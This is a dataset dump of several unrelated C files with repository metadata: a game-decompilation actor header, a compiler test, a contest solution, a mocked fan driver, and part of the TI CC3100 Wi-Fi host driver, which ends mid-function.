limbPos[9]; /* 0x290 */ Color_RGBA8 mainColor; /* 0x294 */ Color_RGBA8 lanternColor; /* 0x298 */ UNK_TYPE1 pad298[0x14]; /* 0x2AC */ ColliderCylinder collider; /* 0x2F8 */ MtxF drawMtxF; // the three fires that merge to become big po // also the fires dampe digs up under his house /* 0x338 */ EnBigpoFireEffect fires[3]; } EnBigpo; // size = 0x398 // well version is "regular" (spawns automatically), dampe basement version is "summoned" // on room enter, 3 "possiblefire" are turned into "chosenfire" at random typedef enum EnBigpoType { /* 0 */ BIG_POE_TYPE_REGULAR, /* 1 */ BIG_POE_TYPE_SUMMONED, /* 2 */ BIG_POE_TYPE_POSSIBLE_FIRE, /* 3 */ BIG_POE_TYPE_CHOSEN_FIRE, /* 4 */ BIG_POE_TYPE_REVEALED_FIRE, /* 5 */ BIG_POE_TYPE_UNK5 } EnBigpoType; #define BIG_POE_GET_SWITCHFLAGS(thisx) (u8)((thisx)->params >> 0x8) #endif // Z_EN_BIGPO_H
60b2a7dc3dfa292f7c681d25c2aa5c3376a49b79
2b4867ce106d3068b67f2244019247df9cf6f341
/tests/runner-tests/decls/struct_and_enum/1.c
1a0decc26341f356c96fc652ab704a75f55c14c8
[ "BSD-3-Clause" ]
permissive
jyn514/saltwater
d22b29ac40a4e3deb6128d904759d9183f081ab4
097c72d30e325de57fbed8a506431754a0560374
refs/heads/master
2023-05-09T05:44:43.147928
2021-06-03T02:53:32
2021-06-03T02:53:32
190,940,981
131
25
BSD-3-Clause
2021-04-07T22:58:39
2019-06-08T22:26:45
Rust
UTF-8
C
false
false
14
c
1.c
// fail enum;
6e34c522ded214a264a7098c00e983a2181332bf
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
/SOFTWARE/A64-TERES/u-boot_new/arch/blackfin/include/asm/mach-bf537/BF537_cdef.h
958363bfcb71c4153f74712a1b33afcdcd9dc06d
[ "GPL-2.0-or-later", "LicenseRef-scancode-free-unknown", "Apache-2.0" ]
permissive
OLIMEX/DIY-LAPTOP
ae82f4ee79c641d9aee444db9a75f3f6709afa92
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
refs/heads/rel3
2023-08-04T01:54:19.483792
2023-04-03T07:18:12
2023-04-03T07:18:12
80,094,055
507
92
Apache-2.0
2023-04-03T07:05:59
2017-01-26T07:25:50
C
UTF-8
C
false
false
24
h
BF537_cdef.h
#include "BF536_cdef.h"
ef2d92c2d24ab1574824940edb95025ac64f9e23
9907672fcd81ab73ac63b2a83422a82bf31eadde
/utpc/tyama_utpc2009_10081(aizu2186).c
b3ce7fd3cfd4117f50ad90cd9625c6c35f3126bd
[ "0BSD" ]
permissive
cielavenir/procon
bbe1974b9bddb51b76d58722a0686a5b477c4456
746e1a91f574f20647e8aaaac0d9e6173f741176
refs/heads/master
2023-06-21T23:11:24.562546
2023-06-11T13:15:15
2023-06-11T13:15:15
7,557,464
137
136
null
2020-10-20T09:35:52
2013-01-11T09:40:26
C++
UTF-8
C
false
false
492
c
tyama_utpc2009_10081(aizu2186).c
#define min(a,b) ((a)<(b)?(a):(b)) main(x,y,i,j,n,a,b,c,d){ int m[99][99]; memset(m,0,sizeof(m)); m[0][0]=1; scanf("%d%d%d",&x,&y,&n); for(;n;n--){ scanf("%d%d%d%d",&a,&b,&c,&d); if(a==c)m[2*a][2*min(b,d)+1]=1; else m[2*min(a,c)+1][2*b]=1; } for(i=0;i<=2*x;i+=2) for(j=0;j<=2*y;j+=2){ if(i>0&&!m[i-1][j])m[i][j]+=m[i-2][j]; if(j>0&&!m[i][j-1])m[i][j]+=m[i][j-2]; } printf(m[2*x][2*y]?"%d\n":"Miserable Hokusai!\n",m[2*x][2*y]); return 0; }
ece6a750aef7c499abe2350145b471e4951e20a7
f9e7d65cb784c01a0200145ba8d289afe41d4a56
/board/host/fan.c
1e1001f1cd9d60f4ba7cc317e20666473d7e7251
[ "BSD-3-Clause" ]
permissive
FrameworkComputer/EmbeddedController
ad7086769e87d0a4179eae96a7c9ff5e383ff54e
f6d6b927eed71550d3475411cfc3e59abe5cef2a
refs/heads/hx20-hx30
2023-08-08T20:45:10.621169
2023-05-26T07:03:59
2023-05-26T07:03:59
447,021,040
846
48
BSD-3-Clause
2023-05-26T07:04:59
2022-01-12T00:11:14
C
UTF-8
C
false
false
1,383
c
fan.c
/* Copyright 2013 The Chromium OS Authors. All rights reserved. * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ /* Mocked fan implementation for tests */ #include "fan.h" #include "util.h" const struct fan_conf fan_conf_0 = { .flags = FAN_USE_RPM_MODE, .ch = 0, .pgood_gpio = -1, .enable_gpio = -1, }; const struct fan_rpm fan_rpm_0 = { .rpm_min = 1000, .rpm_start = 1500, .rpm_max = 5000, }; const struct fan_t fans[CONFIG_FANS] = { { .conf = &fan_conf_0, .rpm = &fan_rpm_0, }, }; static int mock_enabled; void fan_set_enabled(int ch, int enabled) { mock_enabled = enabled; } int fan_get_enabled(int ch) { return mock_enabled; } static int mock_percent; void fan_set_duty(int ch, int percent) { mock_percent = percent; } int fan_get_duty(int ch) { return mock_percent; } static int mock_rpm_mode; void fan_set_rpm_mode(int ch, int rpm_mode) { mock_rpm_mode = rpm_mode; } int fan_get_rpm_mode(int ch) { return mock_rpm_mode; } int mock_rpm; void fan_set_rpm_target(int ch, int rpm) { mock_rpm = rpm; } int fan_get_rpm_actual(int ch) { return mock_rpm; } int fan_get_rpm_target(int ch) { return mock_rpm; } enum fan_status fan_get_status(int ch) { return FAN_STATUS_LOCKED; } int fan_is_stalled(int ch) { return 0; } void fan_channel_setup(int ch, unsigned int flags) { /* nothing to do */ }
e1895a59e189cf5cff7997ec3aa34a056861e47d
e910318d01528d82040507a49eeeb8dade45b31f
/drivers/cc3100/src/driver.c
817ff0edc67615a847692d22d5a9f58a965639df
[ "MIT" ]
permissive
pfalcon/pycopy
e844480a5e5cd463530328889daed2ba87552b8a
3ac90ae9c3c6bbebfba9cada2d37025e35c62796
refs/heads/pfalcon
2023-08-30T09:39:52.290147
2022-09-08T16:42:38
2022-09-08T16:42:38
15,507,576
753
71
MIT
2021-05-08T04:59:21
2013-12-29T11:38:47
C
UTF-8
C
false
false
63,937
c
driver.c
/* * driver.c - CC31xx/CC32xx Host Driver Implementation * * Copyright (C) 2014 Texas Instruments Incorporated - http://www.ti.com/ * * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the * distribution. * * Neither the name of Texas Instruments Incorporated nor the names of * its contributors may be used to endorse or promote products derived * from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ /*****************************************************************************/ /* Include files */ /*****************************************************************************/ #include "simplelink.h" #include "protocol.h" #include "driver.h" #include "flowcont.h" /*****************************************************************************/ /* Macro declarations */ /*****************************************************************************/ #define _SL_PENDING_RX_MSG(pDriverCB) (RxIrqCnt != (pDriverCB)->RxDoneCnt) /* 2 LSB of the N2H_SYNC_PATTERN are for sequence number only in SPI interface support backward sync pattern */ #define N2H_SYNC_PATTERN_SEQ_NUM_BITS ((_u32)0x00000003) /* Bits 0..1 - use the 2 LBS for seq num */ #define N2H_SYNC_PATTERN_SEQ_NUM_EXISTS ((_u32)0x00000004) /* Bit 2 - sign that sequence number exists in the sync pattern */ #define N2H_SYNC_PATTERN_MASK ((_u32)0xFFFFFFF8) /* Bits 3..31 - constant SYNC PATTERN */ #define N2H_SYNC_SPI_BUGS_MASK ((_u32)0x7FFF7F7F) /* Bits 7,15,31 - ignore the SPI (8,16,32 bites bus) error bits */ #define BUF_SYNC_SPIM(pBuf) ((*(_u32 *)(pBuf)) & N2H_SYNC_SPI_BUGS_MASK) _u8 _SlDrvProtectAsyncRespSetting(_u8 *pAsyncRsp, _u8 ActionID, _u8 SocketID); #define N2H_SYNC_SPIM (N2H_SYNC_PATTERN & N2H_SYNC_SPI_BUGS_MASK) #define N2H_SYNC_SPIM_WITH_SEQ(TxSeqNum) ((N2H_SYNC_SPIM & N2H_SYNC_PATTERN_MASK) | N2H_SYNC_PATTERN_SEQ_NUM_EXISTS | ((TxSeqNum) & (N2H_SYNC_PATTERN_SEQ_NUM_BITS))) #define MATCH_WOUT_SEQ_NUM(pBuf) ( BUF_SYNC_SPIM(pBuf) == N2H_SYNC_SPIM ) #define MATCH_WITH_SEQ_NUM(pBuf, TxSeqNum) ( BUF_SYNC_SPIM(pBuf) == (N2H_SYNC_SPIM_WITH_SEQ(TxSeqNum)) ) #define N2H_SYNC_PATTERN_MATCH(pBuf, TxSeqNum) \ ( \ ( (*((_u32 *)pBuf) & N2H_SYNC_PATTERN_SEQ_NUM_EXISTS) && ( MATCH_WITH_SEQ_NUM(pBuf, TxSeqNum) ) ) || \ ( !(*((_u32 *)pBuf) & N2H_SYNC_PATTERN_SEQ_NUM_EXISTS) && ( MATCH_WOUT_SEQ_NUM(pBuf ) ) ) \ ) #define OPCODE(_ptr) (((_SlResponseHeader_t *)(_ptr))->GenHeader.Opcode) #define RSP_PAYLOAD_LEN(_ptr) (((_SlResponseHeader_t *)(_ptr))->GenHeader.Len - _SL_RESP_SPEC_HDR_SIZE) #define SD(_ptr) (((_SocketAddrResponse_u *)(_ptr))->IpV4.sd) /* Actual size of Recv/Recvfrom response data */ #define ACT_DATA_SIZE(_ptr) (((_SocketAddrResponse_u *)(_ptr))->IpV4.statusOrLen) /* General Events handling*/ #if defined (EXT_LIB_REGISTERED_GENERAL_EVENTS) typedef _SlEventPropogationStatus_e (*general_callback) (SlDeviceEvent_t *); static const general_callback general_callbacks[] = { #ifdef SlExtLib1GeneralEventHandler SlExtLib1GeneralEventHandler, #endif #ifdef SlExtLib2GeneralEventHandler SlExtLib2GeneralEventHandler, #endif #ifdef SlExtLib3GeneralEventHandler SlExtLib3GeneralEventHandler, #endif #ifdef SlExtLib4GeneralEventHandler SlExtLib4GeneralEventHandler, #endif #ifdef SlExtLib5GeneralEventHandler SlExtLib5GeneralEventHandler, #endif }; #undef _SlDrvHandleGeneralEvents /******************************************************************** _SlDrvHandleGeneralEvents Iterates through all the general(device) event handlers which are registered by the external libs/user application. *********************************************************************/ void _SlDrvHandleGeneralEvents(SlDeviceEvent_t *slGeneralEvent) { _u8 i; /* Iterate over all the extenal libs handlers */ for ( i = 0 ; i < sizeof(general_callbacks)/sizeof(general_callbacks[0]) ; i++ ) { if (EVENT_PROPAGATION_BLOCK == general_callbacks[i](slGeneralEvent) ) { /* exit immediately and do not call the user specific handler as well */ return; } } /* At last call the Application specific handler if registered */ #ifdef sl_GeneralEvtHdlr sl_GeneralEvtHdlr(slGeneralEvent); #endif } #endif /* WLAN Events handling*/ #if defined (EXT_LIB_REGISTERED_WLAN_EVENTS) typedef _SlEventPropogationStatus_e (*wlan_callback) (SlWlanEvent_t *); static wlan_callback wlan_callbacks[] = { #ifdef SlExtLib1WlanEventHandler SlExtLib1WlanEventHandler, #endif #ifdef SlExtLib2WlanEventHandler SlExtLib2WlanEventHandler, #endif #ifdef SlExtLib3WlanEventHandler SlExtLib3WlanEventHandler, #endif #ifdef SlExtLib4WlanEventHandler SlExtLib4WlanEventHandler, #endif #ifdef SlExtLib5WlanEventHandler SlExtLib5WlanEventHandler, #endif }; #undef _SlDrvHandleWlanEvents /*********************************************************** _SlDrvHandleWlanEvents Iterates through all the wlan event handlers which are registered by the external libs/user application. ************************************************************/ void _SlDrvHandleWlanEvents(SlWlanEvent_t *slWlanEvent) { _u8 i; /* Iterate over all the extenal libs handlers */ for ( i = 0 ; i < sizeof(wlan_callbacks)/sizeof(wlan_callbacks[0]) ; i++ ) { if ( EVENT_PROPAGATION_BLOCK == wlan_callbacks[i](slWlanEvent) ) { /* exit immediately and do not call the user specific handler as well */ return; } } /* At last call the Application specific handler if registered */ #ifdef sl_WlanEvtHdlr sl_WlanEvtHdlr(slWlanEvent); #endif } #endif /* NetApp Events handling */ #if defined (EXT_LIB_REGISTERED_NETAPP_EVENTS) typedef _SlEventPropogationStatus_e (*netApp_callback) (SlNetAppEvent_t *); static const netApp_callback netApp_callbacks[] = { #ifdef SlExtLib1NetAppEventHandler SlExtLib1NetAppEventHandler, #endif #ifdef SlExtLib2NetAppEventHandler SlExtLib2NetAppEventHandler, #endif #ifdef SlExtLib3NetAppEventHandler SlExtLib3NetAppEventHandler, #endif #ifdef SlExtLib4NetAppEventHandler SlExtLib4NetAppEventHandler, #endif #ifdef SlExtLib5NetAppEventHandler SlExtLib5NetAppEventHandler, #endif }; #undef _SlDrvHandleNetAppEvents /************************************************************ _SlDrvHandleNetAppEvents Iterates through all the net app event handlers which are registered by the external libs/user application. ************************************************************/ void _SlDrvHandleNetAppEvents(SlNetAppEvent_t *slNetAppEvent) { _u8 i; /* Iterate over all the extenal libs handlers */ for ( i = 0 ; i < sizeof(netApp_callbacks)/sizeof(netApp_callbacks[0]) ; i++ ) { if (EVENT_PROPAGATION_BLOCK == netApp_callbacks[i](slNetAppEvent) ) { /* exit immediately and do not call the user specific handler as well */ return; } } /* At last call the Application specific handler if registered */ #ifdef sl_NetAppEvtHdlr sl_NetAppEvtHdlr(slNetAppEvent); #endif } #endif /* Http Server Events handling */ #if defined (EXT_LIB_REGISTERED_HTTP_SERVER_EVENTS) typedef _SlEventPropogationStatus_e (*httpServer_callback) (SlHttpServerEvent_t*, SlHttpServerResponse_t*); static const httpServer_callback httpServer_callbacks[] = { #ifdef SlExtLib1HttpServerEventHandler SlExtLib1HttpServerEventHandler, #endif #ifdef SlExtLib2HttpServerEventHandler SlExtLib2HttpServerEventHandler, #endif #ifdef SlExtLib3HttpServerEventHandler SlExtLib3HttpServerEventHandler, #endif #ifdef SlExtLib4HttpServerEventHandler SlExtLib4HttpServerEventHandler, #endif #ifdef SlExtLib5HttpServerEventHandler SlExtLib5HttpServerEventHandler, #endif }; #undef _SlDrvHandleHttpServerEvents /******************************************************************* _SlDrvHandleHttpServerEvents Iterates through all the http server event handlers which are registered by the external libs/user application. ********************************************************************/ void _SlDrvHandleHttpServerEvents(SlHttpServerEvent_t *slHttpServerEvent, SlHttpServerResponse_t *slHttpServerResponse) { _u8 i; /* Iterate over all the external libs handlers */ for ( i = 0 ; i < sizeof(httpServer_callbacks)/sizeof(httpServer_callbacks[0]) ; i++ ) { if ( EVENT_PROPAGATION_BLOCK == httpServer_callbacks[i](slHttpServerEvent, slHttpServerResponse) ) { /* exit immediately and do not call the user specific handler as well */ return; } } /* At last call the Application specific handler if registered */ #ifdef sl_HttpServerCallback sl_HttpServerCallback(slHttpServerEvent, slHttpServerResponse); #endif } #endif /* Socket Events */ #if defined (EXT_LIB_REGISTERED_SOCK_EVENTS) typedef _SlEventPropogationStatus_e (*sock_callback) (SlSockEvent_t *); static const sock_callback sock_callbacks[] = { #ifdef SlExtLib1SockEventHandler SlExtLib1SockEventHandler, #endif #ifdef SlExtLib2SockEventHandler SlExtLib2SockEventHandler, #endif #ifdef SlExtLib3SockEventHandler SlExtLib3SockEventHandler, #endif #ifdef SlExtLib4SockEventHandler SlExtLib4SockEventHandler, #endif #ifdef SlExtLib5SockEventHandler SlExtLib5SockEventHandler, #endif }; /************************************************************* _SlDrvHandleSockEvents Iterates through all the socket event handlers which are registered by the external libs/user application. **************************************************************/ void _SlDrvHandleSockEvents(SlSockEvent_t *slSockEvent) { _u8 i; /* Iterate over all the external libs handlers */ for ( i = 0 ; i < sizeof(sock_callbacks)/sizeof(sock_callbacks[0]) ; i++ ) { if ( EVENT_PROPAGATION_BLOCK == sock_callbacks[i](slSockEvent) ) { /* exit immediately and do not call the user specific handler as well */ return; } } /* At last call the Application specific handler if registered */ #ifdef sl_SockEvtHdlr sl_SockEvtHdlr(slSockEvent); #endif } #endif #if (SL_MEMORY_MGMT != SL_MEMORY_MGMT_DYNAMIC) typedef struct { _u32 Align; _SlDriverCb_t DriverCB; _u8 AsyncRespBuf[SL_ASYNC_MAX_MSG_LEN]; }_SlStatMem_t; _SlStatMem_t g_StatMem; #endif _u8 _SlDrvProtectAsyncRespSetting(_u8 *pAsyncRsp, _u8 ActionID, _u8 SocketID) { _u8 ObjIdx; /* Use Obj to issue the command, if not available try later */ ObjIdx = _SlDrvWaitForPoolObj(ActionID, SocketID); if (MAX_CONCURRENT_ACTIONS != ObjIdx) { _SlDrvProtectionObjLockWaitForever(); g_pCB->ObjPool[ObjIdx].pRespArgs = pAsyncRsp; _SlDrvProtectionObjUnLock(); } return ObjIdx; } /*****************************************************************************/ /* Variables */ /*****************************************************************************/ const _SlSyncPattern_t g_H2NSyncPattern = H2N_SYNC_PATTERN; const _SlSyncPattern_t g_H2NCnysPattern = H2N_CNYS_PATTERN; _volatile _u8 RxIrqCnt; #ifndef SL_TINY_EXT const _SlActionLookup_t _SlActionLookupTable[] = { {ACCEPT_ID, SL_OPCODE_SOCKET_ACCEPTASYNCRESPONSE, (_SlSpawnEntryFunc_t)_sl_HandleAsync_Accept}, {CONNECT_ID, SL_OPCODE_SOCKET_CONNECTASYNCRESPONSE,(_SlSpawnEntryFunc_t)_sl_HandleAsync_Connect}, {SELECT_ID, SL_OPCODE_SOCKET_SELECTASYNCRESPONSE,(_SlSpawnEntryFunc_t)_sl_HandleAsync_Select}, {GETHOSYBYNAME_ID, SL_OPCODE_NETAPP_DNSGETHOSTBYNAMEASYNCRESPONSE,(_SlSpawnEntryFunc_t)_sl_HandleAsync_DnsGetHostByName}, {GETHOSYBYSERVICE_ID, SL_OPCODE_NETAPP_MDNSGETHOSTBYSERVICEASYNCRESPONSE,(_SlSpawnEntryFunc_t)_sl_HandleAsync_DnsGetHostByService}, {PING_ID, SL_OPCODE_NETAPP_PINGREPORTREQUESTRESPONSE, (_SlSpawnEntryFunc_t)_sl_HandleAsync_PingResponse}, {START_STOP_ID, SL_OPCODE_DEVICE_STOP_ASYNC_RESPONSE,(_SlSpawnEntryFunc_t)_sl_HandleAsync_Stop} }; #else const _SlActionLookup_t _SlActionLookupTable[] = { {CONNECT_ID, SL_OPCODE_SOCKET_CONNECTASYNCRESPONSE,(_SlSpawnEntryFunc_t)_sl_HandleAsync_Connect}, {GETHOSYBYNAME_ID, SL_OPCODE_NETAPP_DNSGETHOSTBYNAMEASYNCRESPONSE,(_SlSpawnEntryFunc_t)_sl_HandleAsync_DnsGetHostByName}, {START_STOP_ID, SL_OPCODE_DEVICE_STOP_ASYNC_RESPONSE,(_SlSpawnEntryFunc_t)_sl_HandleAsync_Stop} }; #endif typedef struct { _u16 opcode; _u8 event; } OpcodeKeyVal_t; /* The table translates opcode to user's event type */ const OpcodeKeyVal_t OpcodeTranslateTable[] = { {SL_OPCODE_WLAN_SMART_CONFIG_START_ASYNC_RESPONSE, SL_WLAN_SMART_CONFIG_COMPLETE_EVENT}, {SL_OPCODE_WLAN_SMART_CONFIG_STOP_ASYNC_RESPONSE,SL_WLAN_SMART_CONFIG_STOP_EVENT}, {SL_OPCODE_WLAN_STA_CONNECTED, SL_WLAN_STA_CONNECTED_EVENT}, {SL_OPCODE_WLAN_STA_DISCONNECTED,SL_WLAN_STA_DISCONNECTED_EVENT}, {SL_OPCODE_WLAN_P2P_DEV_FOUND,SL_WLAN_P2P_DEV_FOUND_EVENT}, {SL_OPCODE_WLAN_P2P_NEG_REQ_RECEIVED, SL_WLAN_P2P_NEG_REQ_RECEIVED_EVENT}, {SL_OPCODE_WLAN_CONNECTION_FAILED, SL_WLAN_CONNECTION_FAILED_EVENT}, {SL_OPCODE_WLAN_WLANASYNCCONNECTEDRESPONSE, SL_WLAN_CONNECT_EVENT}, {SL_OPCODE_WLAN_WLANASYNCDISCONNECTEDRESPONSE, SL_WLAN_DISCONNECT_EVENT}, {SL_OPCODE_NETAPP_IPACQUIRED, SL_NETAPP_IPV4_IPACQUIRED_EVENT}, {SL_OPCODE_NETAPP_IPACQUIRED_V6, SL_NETAPP_IPV6_IPACQUIRED_EVENT}, {SL_OPCODE_NETAPP_IP_LEASED, SL_NETAPP_IP_LEASED_EVENT}, {SL_OPCODE_NETAPP_IP_RELEASED, SL_NETAPP_IP_RELEASED_EVENT}, {SL_OPCODE_SOCKET_TXFAILEDASYNCRESPONSE, SL_SOCKET_TX_FAILED_EVENT}, {SL_OPCODE_SOCKET_SOCKETASYNCEVENT, SL_SOCKET_ASYNC_EVENT} }; _SlDriverCb_t* g_pCB = NULL; P_SL_DEV_PING_CALLBACK pPingCallBackFunc = NULL; _u8 gFirstCmdMode = 0; /*****************************************************************************/ /* Function prototypes */ /*****************************************************************************/ _SlReturnVal_t _SlDrvMsgRead(void); _SlReturnVal_t _SlDrvMsgWrite(_SlCmdCtrl_t *pCmdCtrl,_SlCmdExt_t *pCmdExt, _u8 *pTxRxDescBuff); _SlReturnVal_t _SlDrvMsgReadCmdCtx(void); _SlReturnVal_t _SlDrvMsgReadSpawnCtx(void *pValue); void _SlDrvClassifyRxMsg(_SlOpcode_t Opcode ); _SlReturnVal_t _SlDrvRxHdrRead(_u8 *pBuf, _u8 *pAlignSize); void _SlDrvShiftDWord(_u8 *pBuf); void _SlDrvDriverCBInit(void); void _SlAsyncEventGenericHandler(void); _u8 _SlDrvWaitForPoolObj(_u8 ActionID, _u8 SocketID); void _SlDrvReleasePoolObj(_u8 pObj); void _SlRemoveFromList(_u8* ListIndex, _u8 ItemIndex); _SlReturnVal_t _SlFindAndSetActiveObj(_SlOpcode_t Opcode, _u8 Sd); /*****************************************************************************/ /* Internal functions */ /*****************************************************************************/ /***************************************************************************** _SlDrvDriverCBInit - init Driver Control Block *****************************************************************************/ void _SlDrvDriverCBInit(void) { _u8 Idx =0; #if (SL_MEMORY_MGMT == SL_MEMORY_MGMT_DYNAMIC) g_pCB = sl_Malloc(sizeof(_SlDriverCb_t)); #else g_pCB = &(g_StatMem.DriverCB); #endif MALLOC_OK_CHECK(g_pCB); _SlDrvMemZero(g_pCB, sizeof(_SlDriverCb_t)); RxIrqCnt = 0; OSI_RET_OK_CHECK( sl_SyncObjCreate(&g_pCB->CmdSyncObj, "CmdSyncObj") ); sl_SyncObjClear(&g_pCB->CmdSyncObj); OSI_RET_OK_CHECK( sl_LockObjCreate(&g_pCB->GlobalLockObj, "GlobalLockObj") ); OSI_RET_OK_CHECK( sl_LockObjCreate(&g_pCB->ProtectionLockObj, "ProtectionLockObj") ); /* Init Drv object */ _SlDrvMemZero(&g_pCB->ObjPool[0], MAX_CONCURRENT_ACTIONS*sizeof(_SlPoolObj_t)); /* place all Obj in the free list*/ g_pCB->FreePoolIdx = 0; for (Idx = 0 ; Idx < MAX_CONCURRENT_ACTIONS ; Idx++) { g_pCB->ObjPool[Idx].NextIndex = Idx + 1; g_pCB->ObjPool[Idx].AdditionalData = SL_MAX_SOCKETS; OSI_RET_OK_CHECK( sl_SyncObjCreate(&g_pCB->ObjPool[Idx].SyncObj, "SyncObj")); sl_SyncObjClear(&g_pCB->ObjPool[Idx].SyncObj); } g_pCB->ActivePoolIdx = MAX_CONCURRENT_ACTIONS; g_pCB->PendingPoolIdx = MAX_CONCURRENT_ACTIONS; /* Flow control init */ g_pCB->FlowContCB.TxPoolCnt = FLOW_CONT_MIN; OSI_RET_OK_CHECK(sl_LockObjCreate(&g_pCB->FlowContCB.TxLockObj, "TxLockObj")); OSI_RET_OK_CHECK(sl_SyncObjCreate(&g_pCB->FlowContCB.TxSyncObj, "TxSyncObj")); gFirstCmdMode = 0; } /***************************************************************************** _SlDrvDriverCBDeinit - De init Driver Control Block *****************************************************************************/ void _SlDrvDriverCBDeinit() { _u8 Idx =0; /* Flow control de-init */ g_pCB->FlowContCB.TxPoolCnt = 0; OSI_RET_OK_CHECK(sl_LockObjDelete(&g_pCB->FlowContCB.TxLockObj)); OSI_RET_OK_CHECK(sl_SyncObjDelete(&g_pCB->FlowContCB.TxSyncObj)); OSI_RET_OK_CHECK( sl_SyncObjDelete(&g_pCB->CmdSyncObj) ); OSI_RET_OK_CHECK( sl_LockObjDelete(&g_pCB->GlobalLockObj) ); OSI_RET_OK_CHECK( sl_LockObjDelete(&g_pCB->ProtectionLockObj) ); #ifndef SL_TINY_EXT for (Idx = 0; Idx < MAX_CONCURRENT_ACTIONS; Idx++) #endif { OSI_RET_OK_CHECK( sl_SyncObjDelete(&g_pCB->ObjPool[Idx].SyncObj) ); } g_pCB->FreePoolIdx = 0; g_pCB->PendingPoolIdx = MAX_CONCURRENT_ACTIONS; g_pCB->ActivePoolIdx = MAX_CONCURRENT_ACTIONS; #if (SL_MEMORY_MGMT == SL_MEMORY_MGMT_DYNAMIC) sl_Free(g_pCB); #else g_pCB = NULL; #endif g_pCB = NULL; } /***************************************************************************** _SlDrvRxIrqHandler - Interrupt handler *****************************************************************************/ void _SlDrvRxIrqHandler(void *pValue) { sl_IfMaskIntHdlr(); RxIrqCnt++; if (TRUE == g_pCB->IsCmdRespWaited) { OSI_RET_OK_CHECK( sl_SyncObjSignalFromIRQ(&g_pCB->CmdSyncObj) ); } else { sl_Spawn((_SlSpawnEntryFunc_t)_SlDrvMsgReadSpawnCtx, NULL, 0); } } /***************************************************************************** _SlDrvCmdOp *****************************************************************************/ _SlReturnVal_t _SlDrvCmdOp( _SlCmdCtrl_t *pCmdCtrl , void *pTxRxDescBuff , _SlCmdExt_t *pCmdExt) { _SlReturnVal_t RetVal; _SlDrvObjLockWaitForever(&g_pCB->GlobalLockObj); g_pCB->IsCmdRespWaited = TRUE; SL_TRACE0(DBG_MSG, MSG_312, "_SlDrvCmdOp: call _SlDrvMsgWrite"); /* send the message */ RetVal = _SlDrvMsgWrite(pCmdCtrl, pCmdExt, pTxRxDescBuff); if(SL_OS_RET_CODE_OK == RetVal) { #ifndef SL_IF_TYPE_UART /* Waiting for SPI to stabilize after first command */ if( 0 == gFirstCmdMode ) { volatile _u32 CountVal = 0; gFirstCmdMode = 1; CountVal = CPU_FREQ_IN_MHZ*USEC_DELAY; while( CountVal-- ); } #endif /* wait for respond */ RetVal = _SlDrvMsgReadCmdCtx(); /* will free global lock */ SL_TRACE0(DBG_MSG, MSG_314, "_SlDrvCmdOp: exited _SlDrvMsgReadCmdCtx"); } else { _SlDrvObjUnLock(&g_pCB->GlobalLockObj); } return RetVal; } /***************************************************************************** _SlDrvDataReadOp *****************************************************************************/ _SlReturnVal_t _SlDrvDataReadOp( _SlSd_t Sd, _SlCmdCtrl_t *pCmdCtrl , void *pTxRxDescBuff , _SlCmdExt_t *pCmdExt) { _SlReturnVal_t RetVal; _u8 ObjIdx = MAX_CONCURRENT_ACTIONS; _SlArgsData_t pArgsData; /* Validate input arguments */ VERIFY_PROTOCOL(NULL != pCmdExt->pRxPayload); /* If zero bytes is requested, return error. */ /* This allows us not to fill remote socket's IP address in return arguments */ VERIFY_PROTOCOL(0 != pCmdExt->RxPayloadLen); /* Validate socket */ if((Sd & BSD_SOCKET_ID_MASK) >= SL_MAX_SOCKETS) { return SL_EBADF; } /*Use Obj to issue the command, if not available try later*/ ObjIdx = (_u8)_SlDrvWaitForPoolObj(RECV_ID, Sd & BSD_SOCKET_ID_MASK); if (MAX_CONCURRENT_ACTIONS == ObjIdx) { return SL_POOL_IS_EMPTY; } _SlDrvProtectionObjLockWaitForever(); pArgsData.pData = pCmdExt->pRxPayload; pArgsData.pArgs = (_u8 *)pTxRxDescBuff; g_pCB->ObjPool[ObjIdx].pRespArgs = (_u8 *)&pArgsData; _SlDrvProtectionObjUnLock(); /* Do Flow Control check/update for DataWrite operation */ _SlDrvObjLockWaitForever(&g_pCB->FlowContCB.TxLockObj); /* Clear SyncObj for the case it was signalled before TxPoolCnt */ /* dropped below '1' (last Data buffer was taken) */ /* OSI_RET_OK_CHECK( sl_SyncObjClear(&g_pCB->FlowContCB.TxSyncObj) ); */ sl_SyncObjClear(&g_pCB->FlowContCB.TxSyncObj); if(g_pCB->FlowContCB.TxPoolCnt <= FLOW_CONT_MIN) { /* If TxPoolCnt was increased by other thread at this moment, TxSyncObj won't wait here */ _SlDrvSyncObjWaitForever(&g_pCB->FlowContCB.TxSyncObj); } _SlDrvObjLockWaitForever(&g_pCB->GlobalLockObj); VERIFY_PROTOCOL(g_pCB->FlowContCB.TxPoolCnt > FLOW_CONT_MIN); g_pCB->FlowContCB.TxPoolCnt--; _SlDrvObjUnLock(&g_pCB->FlowContCB.TxLockObj); /* send the message */ RetVal = _SlDrvMsgWrite(pCmdCtrl, pCmdExt, (_u8 *)pTxRxDescBuff); _SlDrvObjUnLock(&g_pCB->GlobalLockObj); if(SL_OS_RET_CODE_OK == RetVal) { /* Wait for response message. Will be signaled by _SlDrvMsgRead. */ 